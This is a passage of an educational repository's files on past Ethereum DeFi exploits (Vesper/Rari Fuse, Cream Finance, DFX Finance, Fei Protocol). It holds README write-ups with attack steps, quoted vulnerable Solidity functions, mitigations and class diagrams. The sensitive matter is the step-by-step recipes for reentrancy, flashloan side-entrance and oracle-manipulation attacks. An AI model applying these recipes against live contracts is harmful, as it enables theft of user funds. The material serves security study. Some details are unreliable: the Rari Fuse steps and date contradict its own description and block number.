address _to, uint256 amt) external onlyOwner { 101 | IERC20(_ERC20).transfer(_to, amt); // this can revert or return false. 102 | } 103 | } -------------------------------------------------------------------------------- /test/Business_Logic/VesperRariFuse/README.md: -------------------------------------------------------------------------------- 1 | # Rari Fuse 2 | - **Type:** Exploit 3 | - **Network:** Ethereum 4 | - **Total lost**: ~$3MM USD 5 | - **Category:** Price Manipulation 6 | - **Vulnerable contracts:** 7 | - - [0x8dDE0A1481b4A14bC1015A5a8b260ef059E9FD89](https://etherscan.io/address/0x8dDE0A1481b4A14bC1015A5a8b260ef059E9FD89) 8 | - **Attack transactions:** 9 | - - Manipulation: [0x89d0ae4dc1743598a540c4e33917efdce24338723b0fabf34813b79cb0ecf4c5](https://etherscan.io/tx/0x89d0ae4dc1743598a540c4e33917efdce24338723b0fabf34813b79cb0ecf4c5) 10 | - - Borrow: [0x8527fea51233974a431c92c4d3c58dee118b05a3140a04e0f95147df9faf8092](https://etherscan.io/tx/0x8527fea51233974a431c92c4d3c58dee118b05a3140a04e0f95147df9faf8092) 11 | - **Attacker Addresses**: 12 | - - EOA: [0xa3f447feb0b2bddc50a44ccd6f412a5f98619264](https://etherscan.io/address/0xa3f447feb0b2bddc50a44ccd6f412a5f98619264) 13 | - - Contract: [0x7993e1d66ffb1ab3fb1cb3db87219f532c25bdc8](https://etherscan.io/address/0x7993e1d66ffb1ab3fb1cb3db87219f532c25bdc8) 14 | - **Attack Block:**: 13537922, 13537933 15 | - **Date:** Nov 02, 2022 16 | - **Reproduce:** `forge test --match-contract Exploit_VesperRariFuse -vvv` 17 | 18 | ## Step-by-step 19 | 1. Call `sweepToken` specifying the secondary address of `tUSD`. 20 | 2. Take advantage of the new price of `tUSD` now that there is no underlying balance. 21 | 22 | ## Detailed Description 23 | 24 | Rari Fuse is a platform in where anyone can create their own lending platform, specifying which assets can be traded. The attacker here targeted Pool 23, managed by Vesper. 25 | 26 | The attack is relatively simple, although it does involve puting the capital at risk. 27 | 28 | 29 | The attacker's call trace is a bit more complicated, but conceptually what they did was buying out all the `VUSD` in the pool. The pool will now value `VUSD` extremely high, much higher than its market price. 30 | 31 | This can't be executed by a flash-loan, because the pool uses Uniswap's V3 Time-Weighted Average Price Oracle to set its price. But the attacker simply used its own capital. This is possible due to the relatively low liquidity of the pool (only ~200K of `VUSD` available). 32 | 33 | Normally, one would expected arbitrers to return the price to something close to the current market price. This didn't happen in time. 34 | 35 | The attacker was thus left with a lot of overprice `VUSD`, which they used to take out loans using it as a collateral. 36 | 37 | ## Possible mitigations 38 | - Most likely, the solution to this is offchain. If managing a low-liquidity pool, it is advisable to run an arbitrers to protect against this kind of manipulations. 39 | - Setting the TWAP with a higher delay can also help smoothing the curve, but there's always a risk of going too far and not being able to react in time to natural price variations. 40 | 41 | ## Diagrams and graphs 42 | 43 | ### Class 44 | 45 | ![class](vesper.png) 46 | 47 | ## Sources and references 48 | - [Raricapital's Twitter](https://twitter.com/RariCapital/status/1455569653820973057?s=20&t=MampCtubjv8Rf6QhoQAqQg) 49 | - [Vesperfi's Twitter](https://twitter.com/VesperFi/status/1455567032536248324?s=20&t=BKKLTvDar5uJ0R33t3vZdw) 50 | - [Cmichel's Writeup](https://cmichel.io/replaying-ethereum-hacks-rari-fuse-vusd-price-manipulation/) 51 | - [Vesper Finance's Article](https://medium.com/vesperfinance/on-the-vesper-lend-beta-rari-fuse-pool-23-exploit-9043ccd40ac9) 52 | -------------------------------------------------------------------------------- /test/Business_Logic/VesperRariFuse/vesper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Business_Logic/VesperRariFuse/vesper.png -------------------------------------------------------------------------------- /test/Business_Logic/VesperRariFuse/vesperrari.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IVUSDMinter { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +mint() 12 | 13 | } 14 | 15 | 16 | interface IUniV3PositionsNFT { 17 | ' -- inheritance -- 18 | 19 | ' -- usingFor -- 20 | 21 | ' -- vars -- 22 | 23 | ' -- methods -- 24 | +💰mint() 25 | 26 | } 27 | 28 | 29 | interface IUnitroller { 30 | ' -- inheritance -- 31 | 32 | ' -- usingFor -- 33 | 34 | ' -- vars -- 35 | 36 | ' -- methods -- 37 | +💰enterMarkets() 38 | +exitMarket() 39 | +🔍borrowCaps() 40 | 41 | } 42 | 43 | 44 | interface ICERC20Delegator { 45 | ' -- inheritance -- 46 | 47 | ' -- usingFor -- 48 | 49 | ' -- vars -- 50 | 51 | ' -- methods -- 52 | +💰mint() 53 | +🔍balanceOf() 54 | +🔍decimals() 55 | +💰borrow() 56 | +accrueInterest() 57 | +approve() 58 | +💰redeemUnderlying() 59 | 60 | } 61 | 62 | 63 | class ModuleImports { 64 | ' -- inheritance -- 65 | {abstract}TokenBalanceTracker 66 | {abstract}TWAPGetter 67 | 68 | ' -- usingFor -- 69 | 70 | ' -- vars -- 71 | 72 | ' -- methods -- 73 | 74 | } 75 | 76 | 77 | class Exploit_VesperRariFuse { 78 | ' -- inheritance -- 79 | {abstract}TestHarness 80 | {abstract}ModuleImports 81 | 82 | ' -- usingFor -- 83 | 84 | ' -- vars -- 85 | #[[IUniswapV3Pair]] pairUsdcWeth 86 | #[[IUniswapV3Pair]] pairUsdcVusd 87 | #[[IVUSDMinter]] minter 88 | #[[IUniV3PositionsNFT]] positionManager 89 | #[[IUnitroller]] unitroller 90 | #{static}[[uint160]] SQRT_SWAP_MAX 91 | #[[uint256]] timesEntered 92 | #[[address]] tokens 93 | #[[address]] cTokens 94 | #[[IWETH9]] weth 95 | #[[uint256]] forkId 96 | 97 | ' -- methods -- 98 | +setUp() 99 | +test_attack() 100 | #attackOne() 101 | #waitAndLogTWAP() 102 | #attackTwo() 103 | +uniswapV3SwapCallback() 104 | +💰**__constructor__**() 105 | +onERC721Received() 106 | #🔍getMintingParams() 107 | 108 | } 109 | ' -- inheritance / usingFor -- 110 | ModuleImports --[#DarkGoldenRod]|> TokenBalanceTracker 111 | ModuleImports --[#DarkGoldenRod]|> TWAPGetter 112 | Exploit_VesperRariFuse --[#DarkGoldenRod]|> TestHarness 113 | Exploit_VesperRariFuse --[#DarkGoldenRod]|> ModuleImports 114 | 115 | @enduml -------------------------------------------------------------------------------- /test/Reentrancy/CreamFinance/README.md: -------------------------------------------------------------------------------- 1 | # CreamFinance 2 | - **Type:** Exploit 3 | - **Network:** Mainnet 4 | - **Total lost**: ~$18MM in AMP and WETH 5 | - **Category:** Reentrancy 6 | - **Exploited contracts:** 7 | - - crETH: https://etherscan.io/address/0xD06527D5e56A3495252A528C4987003b712860eE 8 | - - crAMP: https://etherscan.io/address/0x2Db6c82CE72C8d7D770ba1b5F5Ed0b6E075066d6 9 | - **Attack transactions:** 10 | - - https://etherscan.io/tx/0xa9a1b8ea288eb9ad315088f17f7c7386b9989c95b4d13c81b69d5ddad7ffe61e 11 | - **Attack Block:**: 13125071 12 | - **Date:** Aug 30, 2021 13 | - **Reproduce:** `forge test --match-contract Exploit_CreamFinance -vvv` 14 | 15 | ## Step-by-step 16 | 1. Add the contract to the universal interface registry 17 | 2. Request a Flashloan 18 | 3. Swap WETH for ETH 19 | 4. Mint crETH tokens 20 | 5. Enter Markets using crETH as collateral 21 | 6. Borrow crAMP against crETH 22 | 7. Deploy a minion contract 23 | 8. Reenter borrowing crETH in the AMP receive hook 24 | 9. The minion liquidates the main contract (commander). 25 | 10. The liquidated amount is transferred from the minion to the commander. 26 | 11. Selfdestruct the minion 27 | 12. Swap ETH for WETH 28 | 13. Repay the loan 29 | 30 | ## Detailed Description 31 | The attacker reentered multiple pools borrowing WETH and AMP repeatedly over 17 txns. 32 | 33 | This was possible mainly because the lending protocol transfers borrowed tokens before updating the internal accountancy values. In addition to this, as hookable tokens were used, the attacker was able to trigger a reentrant call to different contract which state was related with the first contract's. 34 | 35 | ``` solidity 36 | function borrow(uint borrowAmount) external returns (uint) { 37 | return borrowInternal(borrowAmount); 38 | } 39 | 40 | function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { 41 | ... 42 | 43 | return borrowFresh(msg.sender, borrowAmount); 44 | } 45 | 46 | function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { 47 | ... 48 | 49 | doTransferOut(borrower, borrowAmount); 50 | 51 | // We write the previously calculated values into storage 52 | accountBorrows[borrower].principal = vars.accountBorrowsNew; 53 | accountBorrows[borrower].interestIndex = borrowIndex; 54 | totalBorrows = vars.totalBorrowsNew; 55 | 56 | // We emit a Borrow event 57 | emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); 58 | 59 | // We call the defense hook 60 | comptroller.borrowVerify(address(this), borrower, borrowAmount); 61 | return uint(Error.NO_ERROR); 62 | } 63 | ``` 64 | Because the reentrancy mutex only protects functions that include that modifier, the attacker was able to call another contract borrowing undercollateralized amount. 65 | 66 | 67 | ## Possible mitigations 68 | - Respect the checks-effects-interactions pattern whenever it's possible taking into account that a reentrancy mutex does not protect against cross-contract attacks. 69 | 70 | ## Diagrams and graphs 71 | 72 | ### Overview 73 | 74 | ![overview](creamfinance-call.png) 75 | 76 | ### Class 77 | 78 | ![class](creamfinance.png) 79 | 80 | ## Sources and references 81 | - [Cream Finance Tweet](https://twitter.com/creamdotfinance/status/1432249773575208964) 82 | - [Cream Finance Post Mortem](https://medium.com/cream-finance/post-mortem-exploit-oct-27-507b12bb6f8e) 83 | - [InspexCo Medium Post](https://inspexco.medium.com/reentrancy-attack-on-cream-finance-incident-analysis-1c629686b6f5) 84 | - [Contract Source Code](https://etherscan.io/address/0xC9d8a3b9c39B71969280fC249C87B5d0CB77F3c9#code) 85 | -------------------------------------------------------------------------------- /test/Reentrancy/CreamFinance/creamfinance-call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/CreamFinance/creamfinance-call.png -------------------------------------------------------------------------------- /test/Reentrancy/CreamFinance/creamfinance.d2: -------------------------------------------------------------------------------- 1 | InterfaceRegistry: Interface Registry 2 | 3 | FlashLoan: Flashloan { 4 | requestLoan: flashLoan() 5 | repayLoan: repay 6 | } 7 | 8 | weth: WETH9 { 9 | withdrawETH: withdraw() 10 | depositETH: deposit() 11 | } 12 | 13 | crETH: Cream ETHER { 14 | mintcrETH: mint() 15 | borrowcrETH: borrow() 16 | } 17 | 18 | comptroller: Comptroller { 19 | enterMarkets: enterMarkets() 20 | } 21 | 22 | crAMP: Cream AMP { 23 | borrowcrAMP: borrow() 24 | } 25 | 26 | MinionContract: Minion Contract { 27 | liquidateAMPBorrow: liquidateAMPBorrow() 28 | redeemLiquidationPrize: redeemLiquidationPrize() 29 | depositAndTransferWeth: depositAndTransferWeth() 30 | selfDestructMinion: selfDestructMinion() 31 | } 32 | 33 | Attacker -> InterfaceRegistry: 1°: Add malicious contract to registry 34 | Attacker -> FlashLoan.requestLoan: 2° 35 | FlashLoan.requestLoan -> weth.withdrawETH: 3° 36 | weth.withdrawETH -> crETH.mintcrETH: 4° 37 | crETH.mintcrETH -> comptroller.enterMarkets: 5° 38 | comptroller.enterMarkets -> crAMP.borrowcrAMP: 6° 39 | crAMP.borrowcrAMP -> crETH.borrowcrETH: 7°: reenter 40 | Attacker -> MinionContract: 8°: deploy 41 | Attacker -> MinionContract.liquidateAMPBorrow: 9° 42 | MinionContract.liquidateAMPBorrow -> MinionContract.redeemLiquidationPrize: 10° 43 | MinionContract.redeemLiquidationPrize -> MinionContract.depositAndTransferWeth: 11° 44 | MinionContract.depositAndTransferWeth -> MinionContract.selfDestructMinion: 12° 45 | MinionContract.selfDestructMinion -> weth.deposit: 13° 46 | weth.deposit -> FlashLoan.repayLoan: 14° 47 | 48 | explanation: |md 49 | # CreamFinance 50 | - Reentrancy with hookable token 51 | - Borrow without collateral 52 | | 53 | -------------------------------------------------------------------------------- /test/Reentrancy/CreamFinance/creamfinance.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/CreamFinance/creamfinance.png -------------------------------------------------------------------------------- /test/Reentrancy/CreamFinance/creamfinance.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IERC1820Registry { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +setInterfaceImplementer() 12 | 13 | } 14 | 15 | 16 | interface IcrToken { 17 | ' -- inheritance -- 18 | 19 | ' -- usingFor -- 20 | 21 | ' -- vars -- 22 | 23 | ' -- methods -- 24 | +💰mint() 25 | +borrow() 26 | +🔍balanceOf() 27 | +🔍decimals() 28 | +accrueInterest() 29 | +approve() 30 | +💰redeemUnderlying() 31 | +liquidateBorrow() 32 | +redeem() 33 | 34 | } 35 | 36 | 37 | interface IUnitroller { 38 | ' -- inheritance -- 39 | 40 | ' -- usingFor -- 41 | 42 | ' -- vars -- 43 | 44 | ' -- methods -- 45 | +💰enterMarkets() 46 | +exitMarket() 47 | +🔍borrowCaps() 48 | 49 | } 50 | 51 | 52 | class Exploit_CreamFinance { 53 | ' -- inheritance -- 54 | {abstract}TestHarness 55 | {abstract}TokenBalanceTracker 56 | 57 | ' -- usingFor -- 58 | 59 | ' -- vars -- 60 | #[[IERC1820Registry]] interfaceRegistry 61 | #[[IUniswapV2Pair]] wiseWethPair 62 | #[[IUnitroller]] comptroller 63 | #[[IWETH9]] weth 64 | #[[IcrToken]] crAmp 65 | #[[IcrToken]] crEth 66 | #[[IERC20]] amp 67 | #{static}[[bytes32]] TOKENS_RECIPIENT_INTERFACE_HASH 68 | 69 | ' -- methods -- 70 | +setUp() 71 | +test_attack() 72 | +uniswapV2Call() 73 | +tokensReceived() 74 | +💰**__constructor__**() 75 | 76 | } 77 | 78 | 79 | class ExploiterMinion { 80 | ' -- inheritance -- 81 | 82 | ' -- usingFor -- 83 | 84 | ' -- vars -- 85 | #[[IERC1820Registry]] interfaceRegistry 86 | #{static}[[bytes32]] TOKENS_RECIPIENT_INTERFACE_HASH 87 | #[[address]] commanderContract 88 | #[[IWETH9]] weth 89 | #[[IcrToken]] crAmp 90 | #[[IcrToken]] crEth 91 | #[[IERC20]] amp 92 | 93 | ' -- methods -- 94 | +**__constructor__**() 95 | +liquidateAMPBorrow() 96 | +redeemLiquidationPrize() 97 | +depositAndTransferWeth() 98 | +selfDestructMinion() 99 | +tokensReceived() 100 | +💰**__constructor__**() 101 | 102 | } 103 | ' -- inheritance / usingFor -- 104 | Exploit_CreamFinance --[#DarkGoldenRod]|> TestHarness 105 | Exploit_CreamFinance --[#DarkGoldenRod]|> TokenBalanceTracker 106 | 107 | @enduml -------------------------------------------------------------------------------- /test/Reentrancy/CurvePoolOracle/QiAttack.interfaces.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import {IERC20} from "../../interfaces/IERC20.sol"; 5 | import {IWETH9} from "../../interfaces/IWETH9.sol"; 6 | import {IUniswapV2Router02} from "../../utils/IUniswapV2Router.sol"; 7 | 8 | interface IUnitroller { 9 | function enterMarkets(address[] memory cTokens) external payable returns (uint256[] memory); 10 | 11 | function exitMarket(address market) external; 12 | 13 | // Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing. 14 | function borrowCaps(address market) external view returns (uint256); 15 | 16 | function getAccountLiquidity(address account) external view returns (uint256, uint256, uint256); 17 | } 18 | 19 | interface IPriceFeed { 20 | function getUnderlyingPrice(address cToken) external view returns (uint256); 21 | } 22 | 23 | interface IVault is IERC20 { 24 | function deposit(uint256) external; 25 | 26 | function depositAll() external; 27 | 28 | function withdraw(uint256) external; 29 | 30 | function withdrawAll() external; 31 | 32 | function getPricePerFullShare() external view returns (uint256); 33 | 34 | function upgradeStrat() external; 35 | 36 | function balance() external view returns (uint256); 37 | 38 | function want() external view returns (IERC20); 39 | } 40 | 41 | interface ICERC20Delegator { 42 | function mint(uint256 mintAmount) external payable returns (uint256); 43 | 44 | function balanceOf(address _of) external view returns (uint256); 45 | 46 | function decimals() external view returns (uint16); 47 | 48 | function borrow(uint256 borrowAmount) external payable returns (uint256); 49 | 50 | function borrowBalanceCurrent(address) external returns (uint256); 51 | 52 | function accrueInterest() external; 53 | 54 | function approve(address spender, uint256 amt) external; 55 | 56 | function redeemUnderlying(uint256 redeemAmount) external payable returns (uint256); 57 | 58 | function underlying() external returns (address); 59 | 60 | function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) 61 | external 62 | returns (uint256); 63 | 64 | function redeem(uint256 redeemTokens) external returns (uint256); 65 | } 66 | 67 | interface ICurvePool { 68 | function add_liquidity(uint256[2] memory amounts, uint256 min_min_amount, bool use_eth) 69 | external 70 | payable 71 | returns (uint256); 72 | 73 | function remove_liquidity(uint256 amount, uint256[2] calldata min_amounts, bool use_eth) external payable; 74 | 75 | function token() external pure returns (address); 76 | 77 | function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy, bool use_eth) 78 | external 79 | payable 80 | returns (uint256); 81 | } 82 | 83 | interface IAaveFlashloan { 84 | function flashLoan( 85 | address arg0, 86 | address[] memory arg1, 87 | uint256[] memory arg2, 88 | uint256[] memory arg3, 89 | address arg4, 90 | bytes memory arg5, 91 | uint16 arg6 92 | ) external; 93 | } 94 | 95 | // =============================== HELPER FUNCTIONS =============================== 96 | 97 | // Gets the price of Curve LP tokens (Beefy's underlying) according to the 98 | // Compound price's feed 99 | function get_lp_token_price_for_compound() view returns (uint256) { 100 | return IPriceFeed(0x71585E806402473Ff25eda3e2C3C17168767858a).getUnderlyingPrice(0x570Bc2b7Ad1399237185A27e66AEA9CfFF5F3dB8); // STMATIC_MATIC_DELEGATOR 101 | } 102 | -------------------------------------------------------------------------------- /test/Reentrancy/CurvePoolOracle/call_trace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/CurvePoolOracle/call_trace.png -------------------------------------------------------------------------------- /test/Reentrancy/CurvePoolOracle/stableswap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/CurvePoolOracle/stableswap.png -------------------------------------------------------------------------------- /test/Reentrancy/DFXFinance/README.MD: -------------------------------------------------------------------------------- 1 | # DFX Finance 2 | - **Type:** Exploit 3 | - **Network:** Mainnet 4 | - **Total lost**: ~$6MM in various tokens 5 | - **Category:** Reentrancy 6 | - **Exploited contracts:** 7 | - - DFX: https://etherscan.io/address/0x46161158b1947D9149E066d6d31AF1283b2d377C 8 | - **Attack transactions:** 9 | - - First Attack Tx: https://etherscan.io/tx/0x390def749b71f516d8bf4329a4cb07bb3568a3627c25e607556621182a17f1f9 10 | - - Subsequent Attack Tx: https://etherscan.io/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7 11 | - **Attack Block:**: 15941674 12 | - **Date:** Nov 10, 2022 13 | - **Reproduce:** `forge test --match-contract Exploit_DFXFinance -vvv` 14 | 15 | ## Step-by-step 16 | 1. Request a Flashloan 17 | 2. Deposit the received amount in the loan callback 18 | 19 | ## Detailed Description 20 | As there is no reentrancy protection in the flashloan function and token balances are checked to determine if the loan was paid back, the attacker simply asked for a loan and deposited the amount requested to mint shares inside the loan callback. 21 | 22 | ``` solidity 23 | function flash( 24 | address recipient, 25 | uint256 amount0, 26 | uint256 amount1, 27 | bytes calldata data 28 | ) external transactable noDelegateCall isNotEmergency { 29 | ... 30 | ... 31 | uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this)); 32 | uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this)); 33 | 34 | require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned'); 35 | require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned'); 36 | } 37 | ``` 38 | 39 | Because the balance checked after executing the flashloan callback was satisfied, the loan succeded. Then, the attacker simply called withdraw and stole the loan amount. 40 | 41 | 42 | ## Possible mitigations 43 | - Use reentrancy protection for flashloans 44 | - Check if the flashloan key checks could be manipuladed by side-entering the contract and if so, evaluate its impact. Whenever a risk arises, add a reentrancy mutex to the vulnerable functions and to the flashLoan itself. 45 | 46 | ## Diagrams and graphs 47 | 48 | ### Overview 49 | 50 | ![overview](dfxfinance.d2.png) 51 | 52 | ### Class 53 | 54 | ![class](dfxfinance.png) 55 | 56 | ## Sources and references 57 | - [Peckshield Twitter Thread](https://twitter.com/peckshield/status/1590831589004816384) 58 | - [DFX Finance Tweet](https://twitter.com/DFXFinance/status/1590858722728972289) 59 | -------------------------------------------------------------------------------- /test/Reentrancy/DFXFinance/dfxfinance.d2: -------------------------------------------------------------------------------- 1 | FlashLoan: Flashloan { 2 | requestLoan: flashLoan() 3 | repayLoan: repay 4 | } 5 | 6 | Attacker -> FlashLoan.requestLoan: 1° 7 | Attacker.Callback -> FlashLoan.transfer: 2° 8 | 9 | 10 | explanation: |md 11 | # DFX Finance 12 | - Reentrancy on flashloan 13 | - Side Entrance 14 | | 15 | -------------------------------------------------------------------------------- /test/Reentrancy/DFXFinance/dfxfinance.d2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/DFXFinance/dfxfinance.d2.png -------------------------------------------------------------------------------- /test/Reentrancy/DFXFinance/dfxfinance.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/DFXFinance/dfxfinance.png -------------------------------------------------------------------------------- /test/Reentrancy/DFXFinance/dfxfinance.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IDFX { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +flash() 12 | +deposit() 13 | +withdraw() 14 | +derivatives() 15 | +balanceOf() 16 | +🔍viewDeposit() 17 | +approve() 18 | 19 | } 20 | 21 | 22 | class Exploit_DFXFinance { 23 | ' -- inheritance -- 24 | {abstract}TestHarness 25 | 26 | ' -- usingFor -- 27 | 28 | ' -- vars -- 29 | #[[IDFX]] dfx 30 | #[[IERC20]] usdc 31 | #[[IERC20]] xidr 32 | #[[address]] attackerContract 33 | #{static}[[uint256]] AMOUNT_TO_DEPOSIT 34 | 35 | ' -- methods -- 36 | +setUp() 37 | +test_attack() 38 | #attack_dfx() 39 | #requestLoan() 40 | +flashCallback() 41 | #logBalances() 42 | 43 | } 44 | ' -- inheritance / usingFor -- 45 | Exploit_DFXFinance --[#DarkGoldenRod]|> TestHarness 46 | 47 | @enduml -------------------------------------------------------------------------------- /test/Reentrancy/FeiProtocol/README.md: -------------------------------------------------------------------------------- 1 | # Fei Protocol 2 | - **Type:** Exploit 3 | - **Network:** Mainnet 4 | - **Total lost**: ~$80MM in various stablecoins 5 | - **Category:** Reentrancy 6 | - **Exploited contracts:** 7 | - - Fei: https://etherscan.io/address/0x6162759edad730152f0df8115c698a42e666157f 8 | - **Attack transactions:** 9 | - - Attack Tx: https://etherscan.io/tx/0xab486012f21be741c9e674ffda227e30518e8a1e37a5f1d58d0b0d41f6e76530 10 | - **Attack Block:**: 14684814 11 | - **Date:** Apr 30, 2022 12 | - **Reproduce:** `forge test --match-contract Exploit_Fei -vvv` 13 | 14 | ## Step-by-step 15 | The function performs a low level call sending ETH with `doTransferOut` before updating the internal accounting for the borrower. 16 | The fallback triggered by the low level call, calls Controller.exitMarket() which wipes the liquidity calculation of the borrower. 17 | 1. Flashloan collateral to a factory contract 18 | 2. Deploy with Create2 a borrower contract #1 19 | 3. With contract #1, mint fCURRENCY equivalent to the flashloaned amount (fei currency of certain tokens) 20 | 4. Then, borrow against the minted currency 21 | 5. Redeem the borrowed amount to recover the collateral 22 | 6. Use the factory to borrow against ETH (with fETH) more fUSDC, fUSDT and fFRAX 23 | 7. Redeem all the tokens from step 6) 24 | 8. Repeat steps 2 - 5. 25 | 9. Redeem with the factory the fETH position 26 | 10. Repay the flashloan 27 | 11. Transfer the tokens back to the attacker 28 | 29 | ## Detailed Description 30 | An old school cross-function reentrancy attack with the root cause of not respecting the checks-effects-interactions pattern. 31 | The attacker flashloaned multiple tokens wiping down the collateral draining the pool. 32 | 33 | ```solidity 34 | function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { 35 | ... 36 | [ComptrollerStorage.sol L802] 37 | // EFFECTS & INTERACTIONS 38 | // (No safe failures beyond this point) 39 | 40 | doTransferOut(borrower, borrowAmount); 41 | 42 | accountBorrows[borrower].principal = vars.accountBorrowsNew; 43 | accountBorrows[borrower].interestIndex = borrowIndex; 44 | totalBorrows = vars.totalBorrowsNew; 45 | 46 | emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); 47 | 48 | // unused function 49 | // comptroller.borrowVerify(address(this), borrower, borrowAmount); 50 | 51 | return uint(Error.NO_ERROR); 52 | } 53 | 54 | 55 | 56 | /// @notice Removes asset from sender's account liquidity calculation 57 | /// @dev Sender must not have an outstanding borrow balance in the asset, 58 | /// or be providing neccessary collateral for an outstanding borrow. 59 | /// @param cTokenAddress The address of the asset to be removed 60 | /// @return Whether or not the account successfully exited the market 61 | 62 | function exitMarket(address cTokenAddress) external returns (uint) { ... } 63 | ``` 64 | 65 | The issue was located in `CERCImplementation.borrowFresh()`, the internal function called after `borrow()` in the [CERCDelegate Contract](https://etherscan.io/address/0x67Db14E73C2Dce786B5bbBfa4D010dEab4BBFCF9#code) 66 | 67 | The mentioned function performs the transfer via `doTransferOut()` before updating the internal variables. 68 | 69 | ## Possible mitigations 70 | - Respect the checks-effects-interactions to prevent cross-function and single function reentrancy 71 | - Remember that only functions that use the reetrancy mutex of the contract that implements that modifier are protected. If different contracts declare distinct reentrancy modifiers, a cross reentrancy is still open. 72 | 73 | ## Diagrams and graphs 74 | 75 | ### Overview 76 | 77 | ![overview](feiprotocol.d2.png) 78 | 79 | ### Class 80 | 81 | ![class](feiprotocol.png) 82 | 83 | ## Sources and references 84 | - [Peckshield Twitter Thread](https://twitter.com/peckshield/status/1520369315698016256) 85 | - [Certik Medium Article](https://certik.medium.com/fei-protocol-incident-analysis-8527440696cc) 86 | -------------------------------------------------------------------------------- /test/Reentrancy/FeiProtocol/feiprotocol.d2: -------------------------------------------------------------------------------- 1 | balancer: Balancer FlashLoan 2 | 3 | AttackerCommander: Attacker Factory { 4 | deployOne: deploy(Minion 1) 5 | deployTwo: deploy(Minion 2) 6 | } 7 | 8 | AttackerMinion: Attacker Minion 1 9 | AttackerMinionTwo: Attacker Minion 2 10 | 11 | fei: Fei Protocol { 12 | fCurrencyETH: fCurrency ETH { 13 | mintETH: mint() 14 | borrowETH: borrow() 15 | redeemETH: redeemUnderlying() 16 | } 17 | 18 | fCurrencyStable: fCurrency Stable { 19 | mintStable: mint() 20 | borrowStable: borrow() 21 | redeemStable: redeemUnderlying() 22 | } 23 | } 24 | 25 | 26 | 27 | AttackerCommander -> balancer: 1° 28 | balancer -> AttackerCommander.deployOne: 2° 29 | AttackerCommander.deployOne -> AttackerMinion -> fei.fCurrencyStable.mintStable: 3°: minion mints 30 | AttackerCommander.deployOne -> AttackerMinion -> fei.fCurrencyETH.borrowETH: 4°: minion borrows 31 | AttackerMinion -> fei.fCurrencyStable.redeemStable: 5° 32 | AttackerCommander -> fei.fCurrencyETH.mintETH -> fei.fCurrencyStable.mintStable: 6°: multiple stables 33 | fei.fCurrencyStable.mintStable -> fei.fCurrencyStable.redeemStable: 7°: redeem all stables 34 | AttackerCommander.deployTwo -> AttackerMinionTwo: 8°: repeat 2°-5° 35 | AttackerCommander -> fei.fCurrencyETH.redeemETH: 9° 36 | AttackerCommander -> balancer: 10°: repay 37 | 38 | explanation: |md 39 | # Fei Protocol 40 | - Reentrancy 41 | - Undercollateralized borrows 42 | | 43 | -------------------------------------------------------------------------------- /test/Reentrancy/FeiProtocol/feiprotocol.d2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/FeiProtocol/feiprotocol.d2.png -------------------------------------------------------------------------------- /test/Reentrancy/FeiProtocol/feiprotocol.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Reentrancy/FeiProtocol/feiprotocol.png -------------------------------------------------------------------------------- /test/Reentrancy/FeiProtocol/feiprotocol.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IUnitroller { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +💰enterMarkets() 12 | +exitMarket() 13 | +🔍borrowCaps() 14 | 15 | } 16 | 17 | 18 | interface ICERC20Delegator { 19 | ' -- inheritance -- 20 | 21 | ' -- usingFor -- 22 | 23 | ' -- vars -- 24 | 25 | ' -- methods -- 26 | +💰mint() 27 | +🔍balanceOf() 28 | +🔍decimals() 29 | +💰borrow() 30 | +accrueInterest() 31 | +approve() 32 | +💰redeemUnderlying() 33 | 34 | } 35 | 36 | 37 | interface 